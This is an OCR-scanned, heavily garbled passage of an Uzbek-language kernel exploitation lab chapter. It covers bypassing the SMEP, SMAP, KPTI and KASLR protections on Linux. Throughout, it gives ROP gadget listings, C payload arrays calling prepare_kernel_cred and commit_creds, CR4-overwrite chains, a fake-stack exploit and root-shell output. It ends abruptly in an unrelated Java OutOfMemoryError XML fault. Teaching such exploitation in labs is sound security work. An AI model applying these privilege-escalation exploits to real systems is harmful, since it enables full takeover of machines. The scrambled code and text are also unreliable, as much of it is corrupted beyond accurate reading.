i i o : 5 F 1
J!zzlfliasilm n]dul;l ?tad:{.cﬂr:ﬁ] rejimics o f ayotgal kodn
dshgan kodning rasida

tiras! 283
Oya mexanjzmi kernel X9




[

Joylashgan bo‘lishini va foydalanuvehi rejimida Joylashgan Kodning bajarili-
shiga yo'l qo‘ymasligini ta’minlaydi. SMEP yogilganda, RIP registrini foyda-
lanuvchi rejimi xotirasi manzil maydonida jny]ashgan kodga vornaltirish “ker-
nel oops™ holatini keltirib chigaradi va qoidabuzar vazifani bekor giladi. SMEP
mexanizmi CR4 registrining vigirmanchi bitinj yoqilgan holatga o*rnatish orqali
yoqiladi. Bu bit foydalanuvchi rejimidan kernel rejimiga otishni oldini oladi va
kernel rejimida bajarilayotgan kodning faqat kernel Xotirasida joylashgan bo'li-
shini ta’minlaydi. (12.1-rasmga qarang) '
/proc/epuinfo ni o'gib, m

agsadli tizimda SMEp Xususiyati yoqilganligini
tekshirishingiz mumkin:

S rund.sh

~ § grep smep ‘procieprinfo
Siags : fpu de pse tse msr pae mee
pse36 clffush mmx fisr sse sxed 5
phiexl6 hvpervisor P smep ,

X8 apic sep mpyy pee

med cmov par
Seall ny iy constant

e mopl cpyid

||7|.J.'}:Il:‘

PP ‘l.1|]f‘ rlLTIr Y

ClGielals | Pis vimford
EIEIEIEE|*IDl1l}
1 ..Il " - -
: FSGSBASE CSFASR
OSXSAVE rCIny USXMMENCTT
12.1-

rasm. SMEP pj;i Yogilgan CR4

KPTI (Kernel pa e-T . - .
siyasi, foydalanuvchj grej:,;?l 5321]35. ijdV;lll‘ I;Zﬁ]};::-i
o riasida yaxshiroq izolyatsiyan; ta’minlaydigan xavf‘;?(:lii!:{;zﬁi;a al?d?; I;IPTI
yadro xotirasi (kerne] Memory)ning Mminima| lu‘plaminidsaqllash :nryqﬂli U|:|1umi)’
.hc'ilga“ Yadro xotirasi sizib chiqishiﬂi
izolyatsiya giladi, LinuX

¢ Isolation) Yoki Yadro
Va yadro rejimj (kernel

satish orqali magsadlj tizimg KPTI fun oorlarini (kernel debug messages) ko'r-

mumkin: “lyasining yogilganligini tasdiglashingi?
§ Sruni.sh
~ 8 dmesg | grep 'k _
K eme!ff_,-’ilr Frep Kernel/User page tables isolation

" Page tables isolaiop enabled

7 O bajara olmasligimiz va
funksiyamizni o+ cabab.
To*g ridan-to*e'ri escalate_privileges vinlashib borayotganligi sa
. hruhi:. r:dd.l|11r mi LL ;:.lli:t; o*tish kundankunga qiy '“]_i;];l_ dastla}lr} commit_creds
ﬁu iu:firjirll:;n:r:anmml': bo*lgan oddiy usul :{u{r;if:]ﬂiﬂF zanjirini yaratish orqali
I iy i qo'llash, so'ngra (0 s, SP, SS va RIP bayrog-
(prepare kernel cred(0))ni qo : ich. CS, RFLAGS, SP, 55 va Rt s
: e . e } ﬂl“:ll 08 lJSh]nh .‘ 2 ¥ bu g" mi ba_]ﬂ]'ls .
?::T:'Shunht:!dj:‘naf:;pgjlzuniv =’i’:mvsfﬁqc:h sifatida iretq buyrt
4nn o°rnatish hamda yakuniy

ini ochamiz:
= or konsolini 0¢ : > ik ores
Gadjetlarimizni qidirish u::hund;lﬂPP*- b dan boshlaylik, chunk
I. Keling, pop rdi; ret; g2

etini qidirishdan & irishimiz kerak:
e o 1 chﬂqln
dsdan oldin prepare kernel_cred(0)funksiyasth

L eonsole
S ropper —file ~ GHHv6/chl2 vinlinux ¢

[INFOJ Load gadgers from cache
”‘{}I”}f loading... [0 oo 100%
[LOAD] removing double H"F{i‘ .‘:TP
Cmlinuy ELF Y86 64)> Siare j j;,_,_: i
[INFO] Searching for g ‘"IJF"H- ::.'- i1 2 vmlinux
HINFOQ Fite: home kali GHIH

i

g e Y y pelic reli X
”‘-J”Hﬁﬁ:‘! Head2ec: poy ali qay-tarilgﬂn {Il}'“:lm'
.- :i matni rax dan rdi ga

niz kerak, Y2 irinchi giziqarli gadjet:

0)
2. Prepare_kernel_cred ( adigan b

i = .o o*tkazishimt
"eommit creds funkSI}’ﬂf‘“g?_fak_ Mana biz 1OP
Musxalash ;tw' lini topishimiz ke it
—
OIS 11794e: mov rdi. raxs P ™ . o'tishni oldini olish
vor cay, ax: et psg ahartll DR sk
e 7945 m"mz'hgdmitgﬂ egd Ek?n.hﬁ!?aa ;Sﬂ}:i?cmi
Muammo shundaki, j“c,ﬂﬂrining ir’x‘" qlgi:lmn quyidag! ikki

astlab rdi v
i uam

OSil qilish zarur. Ushbu ™

lopdik .

. p8; et
. oy 1% I

R N, Iﬂ.rini

ONig8 1005347 mov 1S ! :;: ret: sp, S va RIP bayrﬁqn qu-
OXAftS 111 3¢ 1b: mov rds AGS: ';;d yadro allagac G-rnter

p 2 s tar mavjut: mmon_inter-
3. Ni shtirish {S“’ﬂpiﬁr;k [ gndJLiliii;i pajaradigan €
asi‘uﬁlh?yil‘-ﬂlmj?ljarish uc : 4a ushby amalld
: airetq’n S
Idﬂgi t‘n}.rdaﬁqgadjﬂﬂﬂr ?’G b L

Pt_return f unksiyasini 14

ik,

qdim €t

i
v rei 750 ‘ORD pIRE




OIS 1400cd7 < + 395
OIS 4 00cde < bf I
OcfTiTTS 1 400edd <+ 45>
O[S 1400ce0 <+ 48 -
OIS 1400ce2 < 50> -
rxrmmmms <+5]>.
el 1400ce 5 <+ 53=:

OSfTHETS 1400ces <+ 565 . Jmp Oxfr.

OIS 1400d e <+ g
(ATTTHTS 1400423 <+ 115>
OXHITTITITS 1400d26 <+ 175
Ol 1400427 <+ =
OXATTS 1 400428 < 120>
OXATTTITS 14002 <+ 1335

OXFTITITS 1 400d50 <+ 160
AT 1400455 < 165
OXATTS 1400657 < 167>

Keling, ushhy 2adjetlarn; go*
ra quyidagi ko*rinishga ega ho

ishga tushiram;z-

Pavioad|]] = canary;
mri=4

]

Pavioadfi++ ] = I?_mmm,r lad2ec: 1/ e
- n

pavioad|i++ |

>

OxATTTS1400cdd <+ 36> push OWORD PTR frg; - (28]

push OWORD prp [rdi+lix 20y
Push QWORD PTR fry- g 1)
push OWORD prp [rdi~0x 10

push OWoRp PTR [rdi}
push rgy

xelg ax oy
MoV refi o3
=COMmIoY tervupt retyrn - 108~

Car i the 060
SOV o3
: Pop rax
: pop rdi
! SWapgs
:fmp 'U-Tﬂ-'..':f'mmm.u.- IMerrupt retirn 168>
Slest BYTE p
e Oxff <.,

: e« | 60>
5 H‘i’.'ff}

: . ; : oty s NE"
shish uchyp skriptlarimizn 0'zgartiramiz, S0 o
lgan ckspluatatsiyan; kompilyatsiya gilamiz

P i rei:

payloadfi+ +J - O s 1 06béay); ,,

pavioadfi++j = g,
pavioadfi++ ] = ¢
pavioadfi++ J - g,
Ox3b7945; xor o i,

pavioadfi++ ) = ﬂrﬂ%ﬁ'fﬂﬁhjﬁﬂ-
pavioadfi++ ] = Hxﬂﬁﬂﬂ-ﬁ'”ﬂﬁrrﬁ

Pavioadyi++ 7=0

payloadfi++ J = .

pavioadfi++ ) - user rip.
Pavioadfi+ + ! = user ¢y,
Payloadfi++j !
Pavioadfi++ ] - user _sp,
pavioadfi+ + ] = user sg:
write(fd Pavioad gj=
-0 w’GHHvﬁ.r'ch.’.?fsﬁaredfe

§ Jrun3.sh
~5 .farp!orfjfgrpfajr

ESG}

8 1005347, -
= X113 13,
[ Hb?ﬂd’;:;

v Conmmip Cregly

F lcommey, interryp return+ 22

= N.!.'E‘F'__r_ﬂqgg,-;

“eoffpayload)).
3 gee -0 -staife ~GHHv),

chi share

Vexplogs, ;
Ploit3/exply;, “ploit.c |

Canary = H.rfr?H-”i‘ju?j-#:m'mﬂ:;:mf turned off
bin sh: can't access Hy: job cor

hewme user # id
nid = Oroot) gid=0froon) SN el
¥, 2 HERT us
dik! Keling, SMAP'ni yogamiz va
iz yechim topdik: Rellng, S ib chiqamiz.
dBIZl:::qir qilishi mumkinligini ko'r
ganday 1a’s .

Ll ﬂ 0 tlﬁh

. i inux yadrosiga Kiri-

‘1da Intel kompaniyas mmur;girz:]nni.;;;un};da bo*lganida

2-vilda : : | 5

SMAP - bu 2012 4o hisoblanadi. U Jarylfl‘;;;i_ Ushbu xususiyat CR4 e

s P Bl xusus{}r-ahithtarigﬂ kirsn e ‘rnatish orgali ishga tushiriladi
foydalanuvchi ma};‘k:nt;i bitini faol (on) holatga 0

gistrining yigirma birinc

12.2-rasmga qarang).
| SMAPETLSupcn'i_SW Mo v
ted Programming) iﬂ}'fmh Y s
hifalarida bo*lishi w:razly-:lrl:;; foy
oldingi ekspluatatsiyamiz biming imtiy
lashganligi sababli SMAP

i ol
qﬂml:ﬁid.sh (swap explm:‘t?ishgu tus
ekspluatatsiyamizni (explo!

ivati ROP (Return-Orien-

ention) xusustyati xotira sa-

de Acoese e anvehi ejimida J?}";?*‘ﬁ‘;‘:ﬂfb:;ﬁng

aning 1oycd kkablashtiradi. xS

. arl darajada mil:::agadjelim yadro rejimida joy
re

: . ‘sqinlik
dammigﬂﬂl I:'Erlli oshirish jarayonimizga to'sq
(ratt

ini o'z ichiga olgan) va oldingi
as

funksiy honch hosil gilaylik:

igatior - rish orqali bunga is

5 rund. sh o
- § exploitd/expio JaS00 ff
; e ded76ee3dfda ned 6
[hf."m?l ;:?:c-::‘-:iw;:n';juh control fur
e T Gt .
home user # id chi rejimida joy-
.y or! % Anuve et
wid=0froot) gid=0(ro 55 ]""l".t!'-’t:'ﬂl]':m;;1 rﬂyi‘?:ﬂap tizim chaqirg ‘“;
il ish uchun : ramming
Supervisor Mﬂde- a stek yaratish Return-Oriented Pr10g riva-
SMAP (§ hifalarida soxt kkabrog ROP ( dietidan foydalanish zarurty
1a:-:hgun xotira sa ; k murakk ad)

. ey [ da'
e . tirish & ilean holatda 10:‘;'

talab giladi va Wy 111;]- h._i:lliun stekn! aillrm;susﬂn' Sh’_'[ﬁpig:]ﬁl cgheklash orqali va-
Zanjirini la:-.:hkfi Q'l:;i Ushbu cl-{eklﬂ‘-" .'I.idan-tﬂ‘g‘r;:'Execulim Prei-:ﬂi?li':'“]]:"';
S kE]linh.Fhl.qarﬂ kémcl l‘t-‘jim'g; {Supm’isﬂr Mi'sirlik xususi}'allefn_m bcl;flldh
lanuychi Tf—‘J'mldar shtiradi. E revention) XaV ._20 va 21 bitlarini o"chiris ,
Ziyatni murakk?b ? Mode Accesﬁli CR4 registn_:l;LﬂEdL Lekin Linw_i yadn]]:;r:lzz
SMAP (Superviso (arqalgan Us! idan foydalani klash paytida biriktiri e in
U‘tiﬁhﬂing eng kE!ﬂE ::l" unkslyang reglsulﬂlg.:ﬁln]ganida SMAP va
uch ive_write_ ab, cetri 0'Z
53 1:'2]:1‘1?:r5?}'ﬂiariﬂsi}’:si CR4 185
“ative_write_ﬂ'“ f




bitlarini a'-.rmma_iikr ravishd‘a o*chirishga majbur bo'ladi. Bu yangilanish, SMAP
E:]iMEP 'xiavfslzhk Xususiyatlarini chetlab o*tish ilﬂkﬂﬂiyal'm‘i]‘:i cheklaydi. Bu
aksin{c;]:si ;gr,nt'n;mrl Ftl:u:r Integrity)ga qarshi vosita sifatida qaralmasligi kerak.

’ ckspluatatsiyasi mualliflari ye 1 : o .
bartaraf etish sifatida ko*rilishi kerak. chun tezkor, bir martalik g*alabani

Ishlab chiqarish tizimlarida bir xj| magsadga erishish uchun ko*plab foydali

.;a ;;I ngan‘; Laigg:nm ﬂtaddriguan. kn‘pl‘ah }'f‘dm modullari va qurilma drayverlari mav-
.Agar ghh Sffkyiunk;?;zgian? n‘mgl gan ghh_seekfunksiyasi misol bo*la oladi.

- ism : :
mo*ljallangan ba'zi kodlarni kﬂ‘r:siz: arga ajratsangiz, boshqa magsadlar uchun

gef> disas ghh seek

Dump of assembler code Jor function ehlh seek:
Oxfififis 11c3840 <+ 0> moy edy, r;xzzrﬁm ,*I
Oxfififiis11c3845 <+ 5> g Oxideay ‘
OXfTHTGR 13847 <+ 75 moy esp,w.ﬁ'r
OIS 103849 <+9>: ot Ong

OxfIiiE 1 e384e <+ 125 vor eax, eay
OIS He384e <+ 14> ud>

3lin3)

I ¢ R4

|
| 1
| rm e = ip
gy
+
| —
—

— 1
m -
e - -
- =
T LN - .
)
= = ]
— — -
i A

— FSCSBASE
ClnE

USXSAVE

————— (SFXSR
OSNMMEXCTT

12.2-rasm. SM4p biti yogilgan CR4

Biroq ushbu mashj i

‘ na kodlarinj {

talqin qilish CR4 registrini o*zgargiricr . L2288 Mos Keladi o]
Istrini o*zgartirigh uchun juda foydali g:;.;jgcr:?]i}tahﬁ::?mdi:

gef> x/di ghh seel+ 3 q

UnfiftfiiS 113843 <ghh_seek
" Y32 mov erd i

Oxfififis 11 c3846 <ghh_seek+6>- mo:- :r-; =

OXAIEIS 113849 <ghh seep 3

9> ret ()
OIS 1 c384c <ghh_seek+ 2>, -‘-'I'Jf‘:ft.t' i
: eax

Agar mavjud kodn; 4 s
odm CR4 Tegistriga ta'Si}' giluvchi ROP (Retum-Driented
Pa ularni birlashtirsak, SMAP (Supervisor
(Supervisor Mode Execution Prevention)

h imkoniyaliga ega bo‘lamiz.

Programming) gadjetlarida ishlatsak v

_ hamda SME
chetlab o*tjs

Mode Access Pl'wenliun}

Agar oldingi cksploitimiz bilan SMAP (Supervisor Mode Access Preventi-
on) xavisizlik xususiyatini chetlab o‘tgan bo‘lsak-da, opk nQIs:mi‘ng e tﬁlmaﬁ?
digan talgini tufayli topilgan gadjet yarde_lrn@a CRf_l re:gx?lnr:l 0'zgartiris c-rq; 1:
SMAPni ganday chetlab o'tishni ko'rsatish imkoniyatini qo‘ldan boy bermasli

muhimdir. : i bi i
llhll.?::::ru yangi eksploit ancha murakkablashadi, chunki biz e yur.dar.m:.’ta

I‘nydnl‘anuvchi ;cjimininﬂ xotira maydonida suxla_ st::k yaratamiz va kf:_}rm lm‘n-

yozlarni oshirish uchun ;::ratgan ROP zanjirini bajarish uchun Stack Twist gadje-

tidan foydalanamiz.

Eksploitga quyidagi o*zgarishlar kiritiladi:

payloadf1] = canarys
penlaadf+4] H.'qﬂ,g‘mﬁhf.‘m-’. e,
doad5] = 0x6B0: J o ond. vl mov P12, P1S: vel 8;
gﬁ::;:::j::ﬁi — OxfipTis 11 c3843: 1/ mov ord, rdi; mov ris, !
peavioad[7] Fh{?ﬁm?bm-z{‘:‘:’{ _::’:
pavioad(8] = Oxfiftiis! ﬂ.:-h:.- _ "
] IS
®puyload|10] = ”‘wmm{';”‘f; "T..i‘f{:i"r’_;m:-r esp, eax: mo
Oparvioad| 1] = OfiioT="==="

pop vhp; rel;

Fake Stack 4 #)
Elrr::w;m;.-" long *fake_stac k ks ”’g‘;‘:’j?;‘fg
PROT READIPROT WRITESC vy ) pIxED, -1.0%
MAP ANONYMOUSIMAP _PRIVATEITET =

i pop pdi; ret

vorax, el pop rl2

(OxeDd 30000 - fi 1000), 0x2000,

if tfake stack MAP FAILED) |
pervor("mmap"):

exit(-1);

/ o
fake stack[0] = r.i.\'.:h'urﬁlu{ﬁfﬁnfhcf.f
intji= 312 Ry l,m.il.fdf.'uﬂluﬁ

m.fht'f-.'.lf?

Jake stackli+ e
i pop rdi; ret.

; : R ﬂh."u‘.f e
ke stackfi++] = Owded dec:
_::é:k: L:r:::,{i £]= (J.E!H?}m-‘i'}!mfv-'-"'

ake_stackfi++] = 0- 0; I/ prepare
ﬁ:ki:!:::ﬂj{l +] = g 70

kernel_cred

a o'matamiz, bu esarcd regislrinipg
00011010110000). Keyin @ gadjet
“lishini ta’minlash uchurf ikkita r.cf.
srini soxta stekimiz manzili
kka o‘tish uchun mov esp,

- jymatig

Avval @ biz rdi regist" ﬂﬁi&g{;ﬂ{rﬂnﬂﬂ

20 va 21 bitlarini o‘ﬂ*“ESfE bir xil holatda bo’lishi

C i adi va stekning D T o L rax regi

redni o .zg.arhl:adl va ghundan s0'18 @ biz e
buyrug*ini qo‘shamiz- 00, chunki SOX

1 pd300 :
bilan yuklaymiz. y2 ™ idan foydalanamiz.

b

Cax stekni almashtinsh
< 189




5 i;:-y:éalzi gl;lkimimi ?ruhuriﬁhde_m oldin c0d2000 offsetdan boshlab mmap yor-
a;::| ‘3_ X 0 bayt o I‘ﬂ_hamdﬂgl SOX1a stek tasvirini yaratamiz, Buning sababi
stek o'sishi uchun yetarli joy mavjudligini ta’minlashdir g !

Keling, yangi eksploitni kompi lyatsiya qilamiz va ishga tushiramiz:

§ gee -0 -static ~/GHHv6/chi 2ishared), '

28 exploitd/exnloir o
-0 ~/GHHv6/ch] 2shared/exploit/exploir ; i
S irund.sh
~ § vexploitdexploit
Canary = Ox7e99ad 91559 100

rr + ' e »
bin'sh: can't access 1ty; job control turned off
home/user # id

wid=0froot) gid=0fraor)

‘ Ajoyib! Biz ROP yordamida CR4 re
|El|:.1|]{, Keyingi laboratoriya ishida KAS
mization) funksiyasini yogamiz va unj

{_ilsmni qayta yozish imkoniyatini tasdig-
= [K.erm:ll Address Space Layout Rando-
chetlab o‘tishga harakat gilamiz.

. Lal;t‘:::;uriya ishi 12.6: KASLRni chetlab o‘tish
erne 0'tis
mi ASLR (Address Spac:iﬁﬂspace La}*oul‘ Randomization) foydalanuvehi reji-
iimeg gl yukI:nut Randomization) himoyasiga o*xshash tarzda
nganda yadro bazas;i manzillarining joylashuvini

tasodifiy belgilaydi. Agar i i
) - Agar ishonchli xot; H [P
moyani chetlab o'tish oson bo‘ladi olira manzilini sjzib chigara olsak, bu hi-

= T i ‘s :
yadro bazasini hisoblash uchun quyi ﬁ‘su.dlﬁ}r O Qish shartlariga amal gilish orqali
1. Foydali yukni yubori ;
Yuborishdan oldj
uchun leak.c faylini o'zgartiring. By o () funksiyasini ishga tushirish
et Vel o & Bu o'zgarish bizea GDRn:
i yoki agar GDB allagachon ‘2a GDB’ni ulash uchun vaqt

i sl ula I e
etadi va n:napzﬂmng ishnnchli]igini teI;:gsTr? !:-u Isa, uni buzish imkoniyatini taqdim
funksiyasini go'shgandan so‘ng | Wrishga yordam beradi, Keyin getchar()
yidagicha ko'rinishi kera:

eak. ini
¢ faylini qayta kompilyatsiya qiling. Kod qu-

getchar();
write(fd. pavioad, sizeofipayload))-

S-gcc' 00 -static -/
: ~'GHHv6/eh ]2/
-0 ~/GHHVSIchi 2sharedtegk ek

2. Sinab ko‘rayotgan manzil har doim bir xil ko'rsatmaga ishora qilishiga
ishonch hosil gilish uchun jarayonni bir necha marta qaytaring:

S runish

~ 8 eak

Oxfifibe Pa800a 7eb)
(e 3 781 3eded e
ONTIBSS01197/00
(e Sa800a 7ed

Endi yangi terminal oching va x/i GDB buyrug'i yordamida ushbu manzillar
ko'rsatadigan k o'rsatmalarni oling. Agar bu jarayonni bir necha marta takrorla-
sangiz. beshinchi manzil, ya'ni leak massivimizdagi indeks 4, har doim bir xil

ko*rsatmaga ishora gilishini ko'rasiz:

wef> x'i OxfififiiiSebdc] 74 _
OxfifffifiSeb4dc 1 74: mov ey, AT

gef> x/i Oxfilio4ci 74
x4l 74: mov edx, AT

manzilimiz leak massividagi indeks 4-da ekanligini bilib, hisob-ki-
1agsadida, KASLR o*chirilgan holda (rund.sh yordami-
gi qadamlar quyidagicha: .

tushiring, so'ngra /proc/kallsyms faylidan birinchi
lini oling. Keyin ./leak binari tomonidan qay-
1 bu manzilni yadro (kernel) bazasi manzi-
manzili orasidagi masofani hisoblang:

Ishonchli
toblarni soddalashtirish n
da) davom etaylik. Keyin

I. rund.sh skriptini ishga i
gatorni o*ging va yadro hm?asi manzi
tarilgan beshinchi manzilni aniglang va b
lidan ayirib, sizib chigish va yadro bazasi

§ rund.sh

- § head -ni [prockallsyms

bl poanan T startup 064

- § deak

Ii'qﬂﬂi'wmfmfkr?c'hl‘i

(b 590a89d9d04 5100

OxATF8S8002196/00

Oxfific900000a7ed0

ONATRES 14174

. . ing va Python’dan foydalanib, sizib chigish va yadro
Keyin QEMU<ns1:XMLFault xmlns:ns1="http://cxf.apache.org/bindings/xformat"><ns1:faultstring xmlns:ns1="http://cxf.apache.org/bindings/xformat">java.lang.OutOfMemoryError: Java heap space</ns1:faultstring></ns1:XMLFault>